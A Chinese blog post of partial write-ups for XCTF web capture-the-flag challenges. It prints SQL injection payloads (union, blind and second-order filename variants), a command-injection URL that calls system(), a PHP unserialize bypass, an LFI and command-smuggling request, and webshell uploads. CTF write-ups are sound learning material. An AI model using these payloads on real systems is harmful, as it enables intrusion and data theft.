XCTF - 部分WP

2019-02-16

文章共计 - 2.9k 字 阅读需要 - 11 分钟


XCTF

0x00- - 前言

找到这个地方也是几经周折...发现自己错过了Hgame...然后不甘心的一顿搜索,结果撞到这个地方。
不说了,刷起。

0x01- - Web

level.1--新手练习

01-view_source

题目提示使用view_source来查看源码。直接查看即可得到flag。
F12效果相同

02-get_post

第一步提示get发送一个a=1
第二步提示post发送一个b=2
hackbar发送得到flag。

03-robots

Robots协议,联想到robots.txt
查看robots.txt得到hint:flag_1s_h3re.php,访问得到flag。

04-backup

打开页面得到提示:你知道index.php的备份文件名吗?
备份文件名为index.php.bak,下载保存,查看源码得到flag。

05-cookie

题目提示很到位,直接查看请求包cookie得到hint:cookie.php。
访问得到下一个hint:http_response。
查看响应包得到flag。

06-disabled_button

前端问题,F12修改前端代码之后点击即可。
也可以直接构造请求包。

07-simple_js

js问题,访问之后是一个js窗要求输入密码
查看源码,观察js代码。
可以写出解密python脚本:
对实际password直接输出得到ascii码值,输出其ascii码即是Flag。

08-xff_referer

提示伪造xff和referer。
伪造即可得到flag。
浏览器修改的话回音藏到后面,F12查看源码。

09-weak_auth

尝试登陆,提示密码错误,你可能需要一个字典。
弱密码爆破得到flag。
这里看教程拿到了一个字典库:
字典

010-webshell

一句话木马,菜刀连一下。
直接看到flag.txt。得到flag

011-command_execution

命令注入,相当于DVWA的Low level。
cat /home flag.txt

012-simple_php

阅读php代码按要求输入即可...
a:科学计数法绕过。
b:%00截断。

level.2--萌新入坑

01-upload

打开是一个文件上传窗,随便上传一个发现回显路径;访问路径成功。
尝试上传一句话木马:提示只能上传jpg,但是文件栏成功显示一句话木马文件,只是上传按钮变灰。
联想到了是前端的过滤,禁用JS进行尝试。
成功上传一句话木马,菜刀连接。得到flag。

02-NewsCenter

发现存在post注入点。
手动注入:
1' order by 3# 存在3列

1' union select 1,2,3 查看回显位置

1' union select 1,2,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA#或者1' union select 1,2,schema_name from information_schema.schemata#查看存在哪些数据库。

1' union select 1,2,user()#查看用户。

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='news'#查看new内有哪些表单。

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret_table'#查看sercet_table下的列名。

1' union select 1,2,fl4g from secret_table#查询数据得到flag。

自己手动注入那叫一个差劲啊

03-Training-Get-Resourced

题目描述不让看注释,就去看看注释
啊,有了...(这难度星级是随便打的嘛...)

04-Triangle

没有任何提示,先打开看看。
一个要求输入Flag的页面。
看到了后面的js脚本。。。
ok,不会,看题解了。
这是一道JS逆向题...
console可以看到关键的三个函数。。。
题目解释说是unicorn.js的一个ARM仿真加密,需要IDE逆向...

05-mfw

首先发现了注释:my secret,而url仿佛存在任意文件访问漏洞。然而尝试后发现会有detect保护。
继续查看剩下的页面,发现组成部分中包含:GIT
难道是git泄露?
ok,发现.git文件目录。学习了gitTools使用方法,下载到了源码。
看到index.php内存在一个这样的语句

$file = "templates/" . $page . ".php";

这里存在着任意命令执行漏洞。

构造111.198.29.45:31701/index.php?page=%27.system("cd%20../../../;%20ls%20-lA;").%27about

这里大神还给出了一个小技巧,使用view-source可以格式化查看结果。
查看flag.php,得到flag
这里我完全是瞎猫碰死耗子。。。大佬解释了为什么.git内不存在flag内容而通过上述操作的就存在答案。因为对git的命令和原理根本不熟悉。

大佬重审了git下载的库,发现主机内的flag.php文件被修改,但是还没有提交,使用git diff命令进行对比,得到了flag...

follow the master,(跟随大师,)

and walk with the master,(与大师通行,)

新增支线任务:学习git

06-ics-06

以为又是注入...结果发现根本不是一个注入点。
后来想了想题面提示,只有一个。
...不会让我爆破id把。。。
然后测了一下id=9999999都不报错....
行吧,爆破下把。
OK,2333
的确是送分题,感觉很恶心。。。(如果我爆破只跑了2222怎么办?)

07-upload

看题目意思应该是一个上传题目。
测试一下,发现只能够上传jpg图片文件。
行吧,卡住了,找大佬去了。
然后说这是一个注入题。。。文件名的二次注入(这谁扛得住啊...)
先去默默地了解下二次注入...(sqliab)
二次注入的思路是先将脏数据存入到数据库中,再取出的过程中完成对Sql语句的污染。
。。。二次注入的大佬思路没看懂...这里使用了另一个大佬的盲注,通过insert注入回显。:

1' & (( seleselectct count(table_name) frfromom information_schema.tables where table_schema=database())=1)& '1.jpg"

获取表的数量

filename="1' & (sselectelect (seselectlect length(table_name) frofromm information_schema.tables where table_schema=database() limit 0,1)>8)& '1.jpg"

获取表的长度

filename="1' & (ascii(substr((selselectect table_name frfromom information_schema.tables where table_schema=database() limit 0,1) ,1,1)) > 100 )& '1.jpg"

获取表的名称

的确是一个可行的方案,但是这个原题目应该有验证码的,所以盲注需要时间太长了。
再看大佬的大佬的注入方法:

‘+concat((selselectect version()))+’.jpg

查看mysql 版本,返回 5.6

‘+concat((selselectect length(database())))+’.jpg

查看database长度 返回 10

‘+concat((selselectect ascii(substr(database(),1,1))))+’.jpg

查看Database名字 返回 119 以此繼續爆..

‘+concat((selselectect ascii(substr((selselectect table_name frfromom information_schema.tables where table_schema=database() limit 0,1),1,1))))+’.jpg

爆第一个表名 返回 102 以此繼續爆..到第5位

‘+concat((selselectect ascii(substr((selselectect table_name frfromom information_schema.tables where table_schema=database() limit 1,1),1,1))))+’.jpg

爆第二个表名 返回 104 以此繼續爆..到第18位

‘+concat((selselectect ascii(substr((selselectect column_name frfromom information_schema.columns where table_name=’hello_flag_is_here’ limit 0,1),1,1))))+’.jpg

爆列名字 返回 105

以此繼續爆..到第10位

‘+concat((selselectect ascii(substr((selselectect i_am_flag frfromom hello_flag_is_here LIMIT 0,1),1,1))))+’.jpg

爆数据 返回 33 以此繼續爆..到第16位

跟着这个大佬的思路,总算是做出来了。。。要改一个地方,这个题目过滤了ascii,所以我用了hex来转成16进制输出.

再遇坑点:hex输出时候会吞掉字符只输出数字。

这里感觉对concat的理解还不到位。

再次换方法:放弃concat 使用 conv 对hex 转换成二进制。

一位一位的读出来。得到flag

好好练习sql注入

08-biscuiti-300

打开发现一个简单的username 和password的登录窗

一个post方法的登录。

尝试注入,但是不管结果是啥返回只有一个error...

扔去暴力破解吧...

ok直接炸出来0的时候admin登陆成功...然并卵啊。

行吧,那就继续研究注入吧。

又是没见过的注入:

'union select '123','456'--&password=0
可以用任意用注入。

查看cookie 发现一个base64加密的序列化。

需要将is admin置为1。

这里提到了CBC字节反转攻击...padding oracle

09-unserialize3
题目是一段php,给了一个class,要求用code传输反序列化的字符串。
构造了一个反序列化提交:O:4:"xctf":1:{s:4:"flag";s:3:"111";},返回bad request。
这里由于class内有__wakeup()函数导致在反序列化时会运行这个函数。
于是题目转变成了魔术函数的绕过:这是一个CVE,漏洞编号CVE-2016-7124
当成员属性数目大于实际数目时可绕过__wakeup()。
修改poc,得到flag。
O:4:"xctf":2:{s:4:"flag";s:3:"111";}

10-wtf.sh-150

连接是一个带有注册和登录的论坛界面。
一开始以为是注入...对着测试了一通。。
还是跟着大佬的脚步把、、、
不得不说大佬是真的强:对于注册窗口用户名存xss漏洞都能挖出来...
首先这题存在着源码泄露:wtf.sh可以直接查看源码
查看源码时可以发现存在LFI漏洞,我们需要以管理员身份登陆,并且登录的token 和password在/users目录下
尝试使用LFI漏洞进行访问:../users
得到了众多用户的md5 密文和base64的token
修改cookie和token F5刷新可以看到,我们已经是管理员登录了,在管理page页面内得到了...半句flag(wtf??)
行吧,这种题目水平已经不是我能够做的了,老实的跟着大佬做吧...
继续查看源码...会发现在reply中包含一个可以写入文件的参数、
首先注册用户名为 ${find,/,-iname,get_flag2} 的用户,并以该用户进行提交
POST /reply.wtf?post=../users_lookup/sh.wtf%09 HTTP/1.1 Host: web.chal.csaw.io:8001 Content-Type: application/x-www-form-urlencoded Cookie: USERNAME=${find,/,-iname,get_flag2}; TOKEN=Uf7xrOWHXoRzLdVS6drbhjHyIZVsCXFgQYnOG01UhENS1aaajeezaWrgpOno8HBljrHOMmfbQUY+rES1bWlNWQ== text=asd&submit=
之后访问我们提交的页面/users_lookup/sh.wtf
可以得到flag2的访问路径。
由此,我们重新构造请求访问Flag2即可。

11-Training-WWW-Robots

题目提示 robots.txt,是一个 robots 泄露。访问提示:/fl0g.php,访问得到flag
。。。题目难度差距有点大。

12-PHP2

有个坑点。。。原题好像有提示说index.phps有源码...
打开查看源码,发现是一个二次url加密绕过...对admin二次加密即可...

13-lottery

这个源码给的就很舒服了,直接就在附件中,先看源码吧。

14-FlatScience

robots.txt给了两个页面的提示,访问login.php存在注释:debug参数
GET debug参数可以查看源码,发现存在注入点。
注入得到cookie提示,密码在他的论文里。
写个脚本跑sha1值得到密码。
登录即可。

注入payload:usr=' union select 1,(select id || '; ' || name || '; ' || password || '; ' || hint from Users limit 1)--&pw=

15-ics-01

题目提示是一个工控系统,寻找入手点。
自己做的时候绕了一大阵子那个上传点,一中午之后愤怒查找题解。。。

结果还是少了几句话的提示原因。。。

首先源码泄露....不知道为什么御剑字典里没有这种类型的测试。

.index.php.swp
.index.php.swo
.index.php.swn

下载到源码swp文件,但是就是怎么都恢复不出来???
行吧,默认当作有源码做了。。。
然后发现可以使用php://input来查看upload.php的源码...

16-NaNNaNNaNNaN-Batman

好的我又开始上提还没做完就来做下一道题了。
这题只有一个附件,给了一个web100的源码。
里面大概是js代码的样子。
熟悉的特殊符号。。。这题好像哪里见到过的样子。但是想不起来怎么处理的了。
估计又是做了一半扔掉了。

OK,老规矩之后,这题学习一下chrome调试大法。
F12 -> source 进入到开发者模式。在eval前加入断点调试。即可得到源码。。
正则表达式构造出密码直接得到flag.

还有好多种骚方法。。。直接代码审计,,,看出flag。
还有大佬把eval()换成alert()....直接弹出来。
dalao tql...

17

参考链接

0.字典 : https://github.com/rootphantomer/Blasting_dictionary

☡ 留言板 ☡